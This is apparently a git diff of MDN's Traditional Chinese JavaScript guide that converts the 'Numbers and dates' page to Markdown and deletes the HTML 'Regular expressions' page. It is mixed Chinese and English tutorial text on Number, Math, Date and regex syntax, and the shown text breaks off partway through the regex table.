Similarly, standard mathematical functions are methods of Math. These include trigonometric, logarithmic, exponential, and other functions. For example, if you want to use the trigonometric function sine, you would write

- -
Math.sin(1.56)
-
- -

Note that all trigonometric methods of Math take arguments in radians.

- -

The following table summarizes the Math object's methods.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Math 的方法
方法描述
{{jsxref("Math.abs", "abs()")}}絕對值
{{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}}三角函數; 引數以弳度表示
{{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}}反三角函數; 回傳值以弳度表示
{{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}}雙曲函數; 引數以 hyperbolic angle 表示
{{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}}反雙曲函數; 回傳值以 hyperbolic angle 表示
-

{{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}}

-
指數及對數函式
{{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}}回傳小於等於/大於等於指定數字的最大/最小整數
{{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}}Returns lesser or greater (respectively) of comma separated list of numbers arguments
{{jsxref("Math.random", "random()")}}回傳一個介於 0 到 1 之間的數值
{{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}},Rounding and truncation functions.
{{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}}Square root, cube root, Square root of the sum of square arguments.
{{jsxref("Math.sign", "sign()")}}The sign of a number, indicating whether the number is positive, negative or zero.
{{jsxref("Math.clz32", "clz32()")}},
- {{jsxref("Math.imul", "imul()")}}
Number of leading zero bits in the 32-bit binary representation.
- The result of the C-like 32-bit multiplication of the two arguments.
- -

Unlike many other objects, you never create a Math object of your own. You always use the built-in Math object.

- -

Date 物件

- -

JavaScript 沒有所謂日期(date)的數據型態(data type)。你可以使用 {{jsxref("Date")}} 物件及其方法去設定日期跟時間來滿足你的需求 。Date 物件有大量的設定取得操作日期的方法(method),但它沒有屬性。

- -

JavaScript 處理日期的方式跟Java類似。這兩個語言有許多一樣的date方法,且都將日期儲存為從1970年1月1號0時0分0秒以來的毫秒數(millisecond)。

- -

Date 物件範圍是 -100,000,000 days to 100,000,000 days 以1970年1月1號0時0分0秒UTC為基準。

- -

創建一個Date物件:

- -
var dateObjectName = new Date([parameters]);
-
- -

在這裡創建一個名為dateObjectNameDate 物件;它可以是一個新的物件或是某個以存在的物件當中的屬性。

- -

Calling Date without the new keyword returns a string representing the current date and time.

- -

The parameters in the preceding syntax can be any of the following:

- -
    -
  • Nothing: creates today's date and time. For example, today = new Date();.
  • -
  • A string representing a date in the following form: "Month day, year hours:minutes:seconds." For example, var Xmas95 = new Date("December 25, 1995 13:30:00"). If you omit hours, minutes, or seconds, the value will be set to zero.
  • -
  • A set of integer values for year, month, and day. For example, var Xmas95 = new Date(1995, 11, 25).
  • -
  • A set of integer values for year, month, day, hour, minute, and seconds. For example, var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);.
  • -
- -

Date 的方法

- -

The Date object methods for handling dates and times fall into these broad categories:

- -
    -
  • "set" methods, for setting date and time values in Date objects.
  • -
  • "get" methods, for getting date and time values from Date objects.
  • -
  • "to" methods, for returning string values from Date objects.
  • -
  • parse and UTC methods, for parsing Date strings.
  • -
- -

With the "get" and "set" methods you can get and set seconds, minutes, hours, day of the month, day of the week, months, and years separately. There is a getDay method that returns the day of the week, but no corresponding setDay method, because the day of the week is set automatically. These methods use integers to represent these values as follows:

- -
    -
  • Seconds and minutes: 0 到 59
  • -
  • Hours: 0 到 23
  • -
  • Day: 0 (星期日) 到 6 (星期六)
  • -
  • Date: 1 到 31 (這個月的第幾天)
  • -
  • Months: 0 (一月) 到 11 (十二月)
  • -
  • Year: years since 1900
  • -
- -

舉例,假設你定義了一個日期如下:

- -
var Xmas95 = new Date('December 25, 1995');
-
- -

Xmas95.getMonth() 將會回傳 11, Xmas95.getFullYear() 會回傳 1995。

- -

getTimesetTime 這兩個方法對於比較日期有幫助。 The getTime method returns the number of milliseconds since January 1, 1970, 00:00:00 for a Date object.

- -

For example, the following code displays the number of days left in the current year:

- -
var today = new Date();
-var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Set day and month
-endYear.setFullYear(today.getFullYear()); // Set year to this year
-var msPerDay = 24 * 60 * 60 * 1000; // Number of milliseconds per day
-var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay;
-var daysLeft = Math.round(daysLeft); //returns days left in the year
-
- -

This example creates a Date object named today that contains today's date. It then creates a Date object named endYear and sets the year to the current year. Then, using the number of milliseconds per day, it computes the number of days between today and endYear, using getTime and rounding to a whole number of days.

- -

The parse method is useful for assigning values from date strings to existing Date objects. For example, the following code uses parse and setTime to assign a date value to the IPOdate object:

- -
var IPOdate = new Date();
-IPOdate.setTime(Date.parse('Aug 9, 1995'));
-
- -

範例

- -

下面這個範例,JSClock() 這個函式將會以數位時鐘的格式回傳時間。

- -
function JSClock() {
-  var time = new Date();
-  var hour = time.getHours();
-  var minute = time.getMinutes();
-  var second = time.getSeconds();
-  var temp = '' + ((hour > 12) ? hour - 12 : hour);
-  if (hour == 0)
-    temp = '12';
-  temp += ((minute < 10) ? ':0' : ':') + minute;
-  temp += ((second < 10) ? ':0' : ':') + second;
-  temp += (hour >= 12) ? ' P.M.' : ' A.M.';
-  return temp;
-}
-
- -

JSClock 這個函式會先建立一個名為 timeDate 物件; 因為沒有提供任何引數,所以會放入目前的日期及時間。接著呼叫 getHoursgetMinutes 以及 getSeconds 這三個方法將現在的時、分以及秒分別指定給 hourminute 以及 second 這三個變數。

- -

接著的四行指令將會建立一個時間的字串。第一行的指令建立了一個變數 temp,以條件運算式指定值; 如果 hour 大於 12,那就指定 (hour - 12),不然會直接指定 hour, 但如果 hour 等於 0 , 則改為 12。

- -

接著下一行將 minute 加到 temp 中。如果 minute 小於 10, 則會在附加時補上一個零; 不然的話會直接加上冒號及分鐘數。秒數也是以同樣的作法附加到 temp 上。

- -

最後,判斷 hour 是不是大於等於 12 ,如果是就在 temp 加上 "P.M." ,不然就加上 "A.M."。

- -

{{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}

diff --git a/files/zh-tw/web/javascript/guide/numbers_and_dates/index.md b/files/zh-tw/web/javascript/guide/numbers_and_dates/index.md new file mode 100644 index 00000000000000..4ec3c84857e4b0 --- /dev/null +++ b/files/zh-tw/web/javascript/guide/numbers_and_dates/index.md @@ -0,0 +1,262 @@ +--- +title: 數字與日期 +slug: Web/JavaScript/Guide/Numbers_and_dates +translation_of: Web/JavaScript/Guide/Numbers_and_dates +--- +{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}} + +這個章節將介紹如何在 JavaScript 中處理數字與日期。 + +## 數字(Numbers) + +在 JavaScript 中, Number 所使用的標準依照 [double-precision 64-bit binary format IEEE 754](https://en.wikipedia.org/wiki/Double-precision_floating-point_format) (i.e. number 的區間是 -(2^53 -1) 到 2^53 -1)。**整數是沒有特定的類型**。 + +此外還可以顯示浮點數,三種符號數值: `+`{{jsxref("Infinity")}}, `-`{{jsxref("Infinity")}}, and {{jsxref("NaN")}} (not-a-number)。 + +{{jsxref("BigInt")}} 是 Javascript 最新的功能,它可以表示一個很大的整數。使用 `BigInt需要注意一點`,`BigInt` 和{{jsxref("Number")}}不能在同一個 operation 混用還有當用 {{jsxref("Math")}} 物件時不能使用`BigInt`。 + +請參照 [JavaScript data types and structures](/zh-TW/docs/Web/JavaScript/Data_structures) 來取得更多詳細資料。 + +你可以用四種進制表示數字:十進制 (decimal),二進制 (binary),八進制 (octal) 以及十六進制 (hexadecimal)。 + +### 十進制數值 + +```js +1234567890 +42 + +// 以零為開頭時要小心: + +0888 // 888 解析為 十進制數值 +0777 // 在 non-strict 模式下將解析成八進制 (等同於十進制的 511) +``` + +請注意,十進位數字允許第一個數字設為零(`0`)的話,前提是後面接的數字必須要有一個數字大於 8(例如輸入 0888 結果會是 888,輸入 068 結果會是 68),不然則會被轉成8進位(例如 0777 結果會是 511,輸入 063 結果會是 51)。 + +### 二進制數值 + +二進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「B」 (`0b` 或 `0B`)。如果 `0b` 後面接著的數字不是 0 或 1,那會丟出 [`SyntaxError(語法錯誤)`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError): "Missing binary digits after 0b"。 + +```js +var FLT_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648 +var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040 +var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607 +``` + +### 八進制數值 + +八進制數值以 0 為開頭。如果 `0` 後面的數字超出 0 到 7 這個範圍,將會被解析成十進制數值。 + +```js +var n = 0755; // 493 +var m = 0644; // 420 +``` + +Strict mode in ECMAScript 5 forbids octal syntax. Octal syntax isn't part of ECMAScript 5, but it's supported in all browsers by prefixing the octal number with a zero: `0644 === 420` and`"\045" === "%"`. In ECMAScript 2015, octal numbers are supported if they are prefixed with `0o`, e.g.: + +```js +var a = 0o10; // ES2015: 8 +``` + +### 十六進制數值 + +十六進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「X」(`0x` 或 `0X`)。如果 `0b` 後面接著的值超出範圍 (0123456789ABCDEF),那會丟出 [`SyntaxError(語法錯誤)`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError):"Identifier starts immediately after numeric literal"。 + +```js +0xFFFFFFFFFFFFFFFFF // 295147905179352830000 +0x123456789ABCDEF // 81985529216486900 +0XA // 10 +``` + +### 指數運算 + +```js +1E3 // 1000 +2e6 // 2000000 +0.1e2 // 10 +``` + +## `Number` 物件 + +The built-in {{jsxref("Number")}} object has properties for numerical constants, such as maximum value, not-a-number, and infinity. You cannot change the values of these properties and you use them as follows: + +```js +var biggestNum = Number.MAX_VALUE; +var smallestNum = Number.MIN_VALUE; +var infiniteNum = Number.POSITIVE_INFINITY; +var negInfiniteNum = Number.NEGATIVE_INFINITY; +var notANum = Number.NaN; +``` + +You always refer to a property of the predefined `Number` object as shown above, and not as a property of a `Number` object you create yourself. + +下面這張表格整理了 `Number` 物件的屬性 + +`Number` **的屬性** + +| 屬性 | 描述 | +| ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- | +| {{jsxref("Number.MAX_VALUE")}} | 可表示的最大數值 | +| {{jsxref("Number.MIN_VALUE")}} | 可表示的最小數值 | +| {{jsxref("Number.NaN")}} | 表示「非數值」(Not-A-Number)的數值 | +| {{jsxref("Number.NEGATIVE_INFINITY")}} | Special negative infinite value; returned on overflow | +| {{jsxref("Number.POSITIVE_INFINITY")}} | Special positive infinite value; returned on overflow | +| {{jsxref("Number.EPSILON")}} | Difference between one and the smallest value greater than one that can be represented as a {{jsxref("Number")}}. | +| {{jsxref("Number.MIN_SAFE_INTEGER")}} | 可以在 JavaScript 中安全表示的最小數值。 | +| {{jsxref("Number.MAX_SAFE_INTEGER")}} | 可以在 JavaScript 中安全表示的最大數值。 | + +| 方法 | 描述 | +| ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{jsxref("Number.parseFloat()")}} | 字串轉換成浮點數。 等同於全域函式 {{jsxref("parseFloat", "parseFloat()")}} 。 | +| {{jsxref("Number.parseInt()")}} | 以指定的基數將字串轉換成整數。 等同於全域函式 {{jsxref("parseInt", "parseInt()")}} 。 | +| {{jsxref("Number.isFinite()")}} | 判定給定的值是不是一個有限數。 | +| {{jsxref("Number.isInteger()")}} | 判定給定的值是不是一個整數 | +| {{jsxref("Number.isNaN()")}} | Determines whether the passed value is {{jsxref("Global_Objects/NaN", "NaN")}}. More robust version of the original global {{jsxref("Global_Objects/isNaN", "isNaN()")}}. | +| {{jsxref("Number.isSafeInteger()")}} | Determines whether the provided value is a number that is a _safe integer_. | + +The `Number` prototype provides methods for retrieving information from `Number` objects in various formats. The following table summarizes the methods of `Number.prototype`. + +| 方法 | 描述 | +| ------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------ | +| {{jsxref("Number.toExponential", "toExponential()")}} | Returns a string representing the number in exponential notation. | +| {{jsxref("Number.toFixed", "toFixed()")}} | Returns a string representing the number in fixed-point notation. | +| {{jsxref("Number.toPrecision", "toPrecision()")}} | Returns a string representing the number to a specified precision in fixed-point notation. | + +## `Math` 物件 + +The built-in {{jsxref("Math")}} object has properties and methods for mathematical constants and functions. For example, the `Math` object's `PI` property has the value of pi (3.141...), which you would use in an application as + +```js +Math.PI +``` + +Similarly, standard mathematical functions are methods of `Math`. These include trigonometric, logarithmic, exponential, and other functions. For example, if you want to use the trigonometric function sine, you would write + +```js +Math.sin(1.56) +``` + +Note that all trigonometric methods of `Math` take arguments in radians. + +The following table summarizes the `Math` object's methods. + +| 方法 | 描述 | +| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | +| {{jsxref("Math.abs", "abs()")}} | 絕對值 | +| {{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}} | 三角函數; 引數以弳度表示 | +| {{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}} | 反三角函數; 回傳值以弳度表示 | +| {{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}} | 雙曲函數; 引數以 hyperbolic angle 表示 | +| {{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}} | 反雙曲函數; 回傳值以 hyperbolic angle 表示 | +| {{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}} | 指數及對數函式 | +| {{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}} | 回傳小於等於/大於等於指定數字的最大/最小整數 | +| {{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}} | Returns lesser or greater (respectively) of comma separated list of numbers arguments | +| {{jsxref("Math.random", "random()")}} | 回傳一個介於 0 到 1 之間的數值 | +| {{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}}, | Rounding and truncation functions. | +| {{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}} | Square root, cube root, Square root of the sum of square arguments. | +| {{jsxref("Math.sign", "sign()")}} | The sign of a number, indicating whether the number is positive, negative or zero. | +| {{jsxref("Math.clz32", "clz32()")}}, {{jsxref("Math.imul", "imul()")}} | Number of leading zero bits in the 32-bit binary representation. The result of the C-like 32-bit multiplication of the two arguments. | + +Unlike many other objects, you never create a `Math` object of your own. You always use the built-in `Math` object. + +## `Date` 物件 + +JavaScript 沒有所謂日期(date)的數據型態(data type)。你可以使用 {{jsxref("Date")}} 物件及其方法去設定日期跟時間來滿足你的需求 。`Date` 物件有大量的設定取得操作日期的方法(method),但它沒有屬性。 + +JavaScript 處理日期的方式跟 Java 類似。這兩個語言有許多一樣的 date 方法,且都將日期儲存為從 1970 年 1 月 1 號 0 時 0 分 0 秒以來的毫秒數(millisecond)。 + +`Date` 物件範圍是 -100,000,000 days to 100,000,000 days 以 1970 年 1 月 1 號 0 時 0 分 0 秒 UTC 為基準。 + +創建一個`Date`物件: + +```js +var dateObjectName = new Date([parameters]); +``` + +在這裡創建一個名為`dateObjectName` 的 `Date` 物件;它可以是一個新的物件或是某個以存在的物件當中的屬性。 + +Calling `Date` without the `new` keyword returns a string representing the current date and time. + +The `parameters` in the preceding syntax can be any of the following: + +- Nothing: creates today's date and time. For example, `today = new Date();`. +- A string representing a date in the following form: "Month day, year hours:minutes:seconds." For example, `var Xmas95 = new Date("December 25, 1995 13:30:00")`. If you omit hours, minutes, or seconds, the value will be set to zero. +- A set of integer values for year, month, and day. For example, `var Xmas95 = new Date(1995, 11, 25)`. +- A set of integer values for year, month, day, hour, minute, and seconds. For example, `var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);`. + +### `Date` 的方法 + +The `Date` object methods for handling dates and times fall into these broad categories: + +- "set" methods, for setting date and time values in `Date` objects. +- "get" methods, for getting date and time values from `Date` objects. +- "to" methods, for returning string values from `Date` objects. +- parse and UTC methods, for parsing `Date` strings. + +With the "get" and "set" methods you can get and set seconds, minutes, hours, day of the month, day of the week, months, and years separately. There is a `getDay` method that returns the day of the week, but no corresponding `setDay` method, because the day of the week is set automatically. These methods use integers to represent these values as follows: + +- Seconds and minutes: 0 到 59 +- Hours: 0 到 23 +- Day: 0 (星期日) 到 6 (星期六) +- Date: 1 到 31 (這個月的第幾天) +- Months: 0 (一月) 到 11 (十二月) +- Year: years since 1900 + +舉例,假設你定義了一個日期如下: + +```js +var Xmas95 = new Date('December 25, 1995'); +``` + +那 `Xmas95.getMonth()` 將會回傳 11, `Xmas95.getFullYear()` 會回傳 1995。 + +`getTime` 及 `setTime` 這兩個方法對於比較日期有幫助。 The `getTime` method returns the number of milliseconds since January 1, 1970, 00:00:00 for a `Date` object. + +For example, the following code displays the number of days left in the current year: + +```js +var today = new Date(); +var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Set day and month +endYear.setFullYear(today.getFullYear()); // Set year to this year +var msPerDay = 24 * 60 * 60 * 1000; // Number of milliseconds per day +var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay; +var daysLeft = Math.round(daysLeft); //returns days left in the year +``` + +This example creates a `Date` object named `today` that contains today's date. It then creates a `Date` object named `endYear` and sets the year to the current year. Then, using the number of milliseconds per day, it computes the number of days between `today` and `endYear`, using `getTime` and rounding to a whole number of days. + +The `parse` method is useful for assigning values from date strings to existing `Date` objects. For example, the following code uses `parse` and `setTime` to assign a date value to the `IPOdate` object: + +```js +var IPOdate = new Date(); +IPOdate.setTime(Date.parse('Aug 9, 1995')); +``` + +### 範例 + +下面這個範例,`JSClock()` 這個函式將會以數位時鐘的格式回傳時間。 + +```js +function JSClock() { + var time = new Date(); + var hour = time.getHours(); + var minute = time.getMinutes(); + var second = time.getSeconds(); + var temp = '' + ((hour > 12) ? hour - 12 : hour); + if (hour == 0) + temp = '12'; + temp += ((minute < 10) ? ':0' : ':') + minute; + temp += ((second < 10) ? ':0' : ':') + second; + temp += (hour >= 12) ? ' P.M.' : ' A.M.'; + return temp; +} +``` + +`JSClock` 這個函式會先建立一個名為 `time` 的 `Date` 物件; 因為沒有提供任何引數,所以會放入目前的日期及時間。接著呼叫 `getHours` 、 `getMinutes` 以及 `getSeconds` 這三個方法將現在的時、分以及秒分別指定給 `hour` 、 `minute` 以及 `second` 這三個變數。 + +接著的四行指令將會建立一個時間的字串。第一行的指令建立了一個變數 `temp`,以條件運算式指定值; 如果 `hour` 大於 12,那就指定 (`hour - 12`),不然會直接指定 `hour`, 但如果 `hour` 等於 0 , 則改為 12。 + +接著下一行將 `minute` 加到 `temp` 中。如果 `minute` 小於 10, 則會在附加時補上一個零; 不然的話會直接加上冒號及分鐘數。秒數也是以同樣的作法附加到 `temp` 上。 + +最後,判斷 `hour` 是不是大於等於 12 ,如果是就在 `temp` 加上 "P.M." ,不然就加上 "A.M."。 + +{{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}} diff --git a/files/zh-tw/web/javascript/guide/regular_expressions/index.html b/files/zh-tw/web/javascript/guide/regular_expressions/index.html deleted file mode 100644 index e9f3ac334e1579..00000000000000 --- a/files/zh-tw/web/javascript/guide/regular_expressions/index.html +++ /dev/null @@ -1,704 +0,0 @@ ---- -title: 正規表達式 -slug: Web/JavaScript/Guide/Regular_Expressions -tags: - - Guide - - JavaScript - - RegExp - - 正規表達式 -translation_of: Web/JavaScript/Guide/Regular_Expressions ---- -

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}

- -

正規表達式是被用來匹配字串中字元組合的模式。在 JavaScript 中,正規表達式也是物件,這些模式在 {{jsxref("RegExp")}} 的 {{jsxref("RegExp.exec", "exec")}} 和 {{jsxref("RegExp.test", "test")}} 方法中,以及 {{jsxref("String")}} 的 {{jsxref("String.match", "match")}}、{{jsxref("String.replace", "replace")}}、{{jsxref("String.search", "search")}}、{{jsxref("String.split", "split")}} 等方法中被運用。這一章節將解說 JavaScript 中的正規表達式。

- -

建立正規表達式

- -

您可透過下列兩種方法去創建一條正規表達式:

- -

使用正規表達式字面值(regular expression literal),包含兩個 / 字元之間的模式如下:

- -
var re = /ab+c/;
-
- -

正規表達式字面值在 script 載入時會被編譯,當正規表達式為定值時,使用此方法可獲得較佳效能。

- -

或呼叫 {{jsxref("RegExp")}} 物件的建構函式,如下:

- -
var re = new RegExp('ab+c');
-
- -

使用建構子函數供即時編譯正則表達式,當模式會異動、事先未知匹配模式、或者您將從其他地方取得時,使用建構子函數將較為合適。

- -

撰寫正規表達模式

- -

正規表達模式由數個簡易字元組成,例如 /abc/,或是由簡易字元及特殊符號組合而成,例如 /ab*c//Chapter (\d+)\.\d*/ )。最後一個範例用到了括號,這在正規表達式中用作記憶組,使用括號的匹配將會被留到後面使用,在使用帶括號的配對子字串有更多解釋。

- -

使用簡易模式

- -

簡易的模式是有你找到的直接匹配所構成的。比如:/abc/ 這個模式就匹配了在一個字符串中,僅僅字符 'abc' 同時出現並按照這個順序。這兩個句子中「Hi, do you know your abc's?」和「The latest airplane designs evolved from slabcraft.」就會匹配成功。在上面的兩個實例中,匹配的是子字符串 'abc'。在字符串中的 "Grab crab"('ab c') 中將不會被匹配,因為它不包含任何的 'abc' 字符串。

- -

使用特殊字元

- -

當你需要搜尋一個比直接匹配需要更多條件的匹配,比如搜尋一或多個 'b',或者搜尋空格,那麼這個模式將要包含特殊字符。例如: 模式 /ab*c/ 匹配了一個單獨的 'a' 後面跟了零或多個 'b'(* 的意思是前面一項出現了零或多個),且後面跟著 'c' 的任何字符組合。在字符串 "cbbabbbbcdebc" 中,這個模式匹配了子字符串 "abbbbc"。

- -

下面的表格列出了在正則表達式中可以利用的特殊字符完整列表以及描述。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
正則表達式中的特殊字元
字元解說
\ -

反斜線放在非特殊符號前面,使非特殊符號不會被逐字譯出,代表特殊作用。
- 例如:'b' 如果沒有 '\' 在前頭,功能是找出小寫 b;若改為 '\b' 則代表的是邊界功能,block 用意。
- /\bter\b/.test("interest") //false
- /\bter\b/.test("in ter est") //true
-
- /a*/ 找出0個或是1個以上的a;而 /a\*/ 找出 'a*' 這個字串
- /aaaa*/g.test("caaady") //true
- /a\*/.test("caaady") //false
-
- '\' 也能使自身表現出來,表現 '\' ,必須以 '\\' 表達。
- /[\\]/.test(">\\<") //true

-
^ -

匹配輸入的開頭,如果 multiline flag 被設為 true,則會匹配換行字元後。

- -

例如:/^A/ 不會匹配「an A」的 A,但會匹配「An E」中的 A。

- -

^」出現在字元集模式的字首中有不同的意思,詳見補字元集

-
$ -

匹配輸入的結尾,如果 multiline flag 被設為 true,則會匹配換行字元。

- -

例如:/t$/ 不會匹配「eater」中的 t,卻會匹配「eat」中的 t。

-
* -

匹配前一字元 0 至多次。
-
- 下面舉例要求基本 'aaaa' ,'a*' 後面有0個或多個a的意思
- /aaaaa*/g.test("caaady") //false

- -

例如:/bo*/ 匹配「A ghost booooed」中的 boooo、「A bird warbled」中的 b,但在「A goat grunted」中不會匹配任何字串。

-
+ -

匹配前一字元 1 至多次,等同於 {1,}

- -

例如:/a+/ 匹配「candy」中的 a,以及所有「caaaaaaandy」中的 a。

-
? -

匹配前一字元 0 至 1 次,等同於 {0,1}

- -

例如:/e?le?/ 匹配「angel」中的 el、「angle」中的 le、以及「oslo」中的 l。

- -

如果是使用在 *+?{} 等 quantifier 之後,將會使這些 quantifier non-greedy(也就是儘可能匹配最少的字元),與此相對的是 greedy(匹配儘可能多的字元)。例如:在「123abc」中應用 /\d+/ 可匹配「123」,但使用 /\d+?/ 在相同字串上只能匹配「1」。

- -


- Also used in lookahead assertions, as described in the x(?=y) and x(?!y) entries of this table.

-
. -

(小數點)匹配除了換行符號之外的單一字元。

- -

例如:/.n/ 匹配「nay, an apple is on the tree」中的 an 和 on,但在「nay」中沒有匹配。

-
(x) -

Capturing Parentheses

- -

匹配 'x' 並記住此次的匹配,如下面的範例所示。

- -

在 正則表達示 /(foo) (bar) \1 \2/ 中的 (foo) 與 (bar) 可匹配了 "foo bar foo bar" 這段文字中的前兩個字,而 \1 與 \2 則匹配了後面的兩個字。注意, \1, \2, ..., \n 代表的就是前面的pattern,以本範例來說,/(foo) (bar) \1 \2/ 等同於 /(foo) (bar) (foo) (bar)/。

- -

用於取代(replace)的話,則是用 $1, $2,...,$n。如 'bar boo'.replace(/(...) (...)/, '$2 $1').
- $& 表示已匹配的字串

-
(?:x) -

Non-Capturing Parentheses

- -

找出 'x',這動作不會記憶
- ()為 group 的意思,檢查時會再 wrap 一次,若有 g flag 會無效,
- ?: 代表只要 group 就好,不要 wrap

- -

有無 () 差別 ?
- 'foo'.match(/(foo)/)
- // ['foo', 'foo', index: 0, input: 'foo' ]
- 'foo'.match(/foo/)
- // [ 'foo', index: 0, input: 'foo' ]

- -

有無?:差別?
- 'foo'.match(/(foo){1,2}/)
- // [ 'foo', 'foo', index: 0, input: 'foo' ]
- 'foo'.match(/(?:foo){1,2}/)
- [ 'foo', index: 0, input: 'foo' ]

- 連()都沒有,則{1,2}只是適用在foo的第二個o的條件而已。

- -

更多資訊詳見 Using parentheses

-
x(?=y) -

符合'x',且後接的是'y'。'y'為'x'存在的意義。
-
- 例如:/Jack(?=Sprat)/,在後面是Sprat的存在下,Jack才有意義。
- /Jack(?=Sprat|Frost)/後面是Sprat「或者是」Frost的存在下,Jack才有意義。但我們要找的目標是Jack,後面的條件都只是filter/條件的功能而已。

-
x(?!y) -

符合'x',且後接的不是'y'。'y'為否定'x'存在的意義,後面不行前功盡棄(negated lookahead)。
-
- 例如: /\d+(?!\.)/ ,要找一個或多個數字時,在後面接的不是「點」的情況下成立。
-
- var result = /\d+(?!\.)/.exec("3.141")
- result執行出來為[ '141', index: 2, input: '3.141'],
- index:2,代表141從index = 2開始。

-
x|y -

符合「x」或「y」。

- -

舉例來說,/green|red/ 的話,會匹配 "green apple" 中的 "green" 以及 "red apple.""red"

-
{n} -

規定符號確切發生的次數,n為正整數

- -

例如:/a{2}/無法在 "candy" 找到、但 "caandy" 行;若字串擁有2個以上 "caaandy" 還是只會認前面2個。

-
{n,m} -

搜尋條件:n為至少、m為至多,其n、m皆為正整數。若把m設定為0,則為Invalid regular expression。

- -

例如:/a{1,3}/ 無法在 "cndy" 匹配到;而在 "candy" 中的第1個"a"符合;在 "caaaaaaandy" 中的前3個 "aaa" 符合,雖然此串有許多a,但只認前面3個。

-
[xyz]字元的集合。此格式會匹配中括號內所有字元, including escape sequences。特殊字元,例如點(.) 和米字號(*),在字元集合中不具特殊意義,所以不需轉換。若要設一個字元範圍的集合,可以使用橫線 "-" ,如下例所示:
-
- [a-d] 等同於 [abcd]。會匹配 "brisket" 的 "b" 、"city" 的 'c' ……等。 而/[a-z.]+/ /[\w.]+/ 均可匹配字串 "test.i.ng" 。
[^xyz] -

bracket中寫入的字元將被否定,匹配非出現在bracket中的符號。
- 可用 '-' 來界定字元的範圍。一般直接表達的符號都可以使用這種方式。

- -

[^abc]可以寫作[^a-c]. "brisket" 中找到 'r' 、"chop."中找到 'h'。

-
[\b]吻合倒退字元 (U+0008). (不會跟 \b 混淆)
\b -

吻合文字邊界。A word boundary matches the position where a word character is not followed or preceded by another word-character. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero. (Not to be confused with [\b].)

- -

Examples:
- /\bm/ matches the 'm' in "moon" ;
- /oo\b/ does not match the 'oo' in "moon", because 'oo' is followed by 'n' which is a word character;
- /oon\b/ matches the 'oon' in "moon", because 'oon' is the end of the string, thus not followed by a word character;
- /\w\b\w/ will never match anything, because a word character can never be followed by both a non-word and a word character.

- -

